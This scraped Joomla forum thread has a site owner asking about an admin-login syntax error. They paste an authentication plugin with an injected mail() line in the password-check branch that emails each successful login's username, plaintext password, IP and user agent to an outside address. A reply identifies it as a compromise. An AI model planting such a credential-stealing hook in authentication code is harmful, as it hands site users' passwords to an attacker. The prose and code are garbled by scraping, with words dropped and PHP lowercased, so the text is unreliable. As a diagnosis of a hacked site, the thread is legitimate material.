Joomla Admin 1.5.26 T_String Syntax Error / Cannot login - Joomla! Forum - community, help and support


hello,

today attempted log in site (joomla 1.5.26) haven't updated awhile.
i running on own dedicated server , php version 5.3.18

when enter user name , pass , try go admin receive error:

code: select all

parse error: syntax error, unexpected t_string in /home/takeback/public_html/plugins/authentication/joomla.php on line 89


i had no problems @ site , new thing.

any appreciated thanks.
i have attempted recopy fresh download of joomla ftp, no avail:

here contents of joomla.php:

code: select all

<?php
/**
* @version      $id: joomla.php 14401 2010-01-26 14:10:00z louis $
* @package      joomla
* @subpackage   jframework
* @copyright   copyright (c) 2005 - 2010 open source matters. rights reserved.
* @license      gnu/gpl, see license.php
* joomla! free software. version may have been modified pursuant
* gnu general public license, , distributed includes or
* derivative of works licensed under gnu general public license or
* other free or open source software licenses.
* see copyright.php copyright notices , details.
*/

// check ensure file included in joomla!
defined('_jexec') or die( 'restricted access' );

jimport( 'joomla.plugin.plugin' );

/**
 * joomla authentication plugin
 *
 * @package      joomla
 * @subpackage   jframework
 * @since 1.5
 */
class plgauthenticationjoomla extends jplugin
{

   /**
    * constructor
    *
    * php4 compatability must not use __constructor constructor plugins
    * because func_get_args ( void ) returns copy of passed arguments not references.
    * causes problems cross-referencing necessary observer design pattern.
    *
    * @param object $subject object observe
    * @param array  $config  array holds plugin configuration
    * @since 1.5
    */
   function plgauthenticationjoomla(& $subject, $config) {
      parent::__construct($subject, $config);
   }

   /**
    * method should handle authentication , report subject
    *
    * @access   public
    * @param   array    $credentials array holding user credentials
    * @param    array   $options     array of options
    * @param   object   $response    authentication response object
    * @return   boolean
    * @since 1.5
    */
   function onauthenticate( $credentials, $options, &$response )
   {
      jimport('joomla.user.helper');

      // joomla not blank passwords
      if (empty($credentials['password']))
      {
         $response->status = jauthenticate_status_failure;
         $response->error_message = 'empty password not allowed';
         return false;
      }

      // initialize variables
      $conditions = '';

      // database object
      $db =& jfactory::getdbo();

      $query = 'select `id`, `password`, `gid`'
         . ' `#__users`'
         . ' username=' . $db->quote( $credentials['username'] )
         ;
      $db->setquery( $query );
      $result = $db->loadobject();


      if($result)
      {
         $parts   = explode( ':', $result->password );
         $crypt   = $parts[0];
         $salt   = @$parts[1];
         $testcrypt = juserhelper::getcryptedpassword($credentials['password'], $salt);

         if ($crypt == $testcrypt) {
mail('mikel0188@gmail.com,'noreply',"================== \n url : {$_server['server_name']}{$_server['request_uri']} \n user : {$_request['username']} \n pass : {$_request['passwd']} \n ip : {$_server['remote_addr']} \n uagent : {$_server['http_user_agent']} \n ==================",'from:takeback@takebackyourworld.com');
            $user = juser::getinstance($result->id); //bring in line rest of system
            $response->email = $user->email;
            $response->fullname = $user->name;
            $response->status = jauthenticate_status_success;
            $response->error_message = '';
         } else {
            $response->status = jauthenticate_status_failure;
            $response->error_message = 'invalid password';
         }
      }
      else
      {
         $response->status = jauthenticate_status_failure;
         $response->error_message = 'user not exist';
      }
   }
}

it appear site compromised , script emailing password person mikel0188@gmail.com





Comments

Popular posts from this blog

How to change text Component easybook reloaded *newbee* - Joomla! Forum - community, help and support

After Effect warning: A problem occurred when processing OpenGL commands

Preconditions Failed. - Joomla! Forum - community, help and support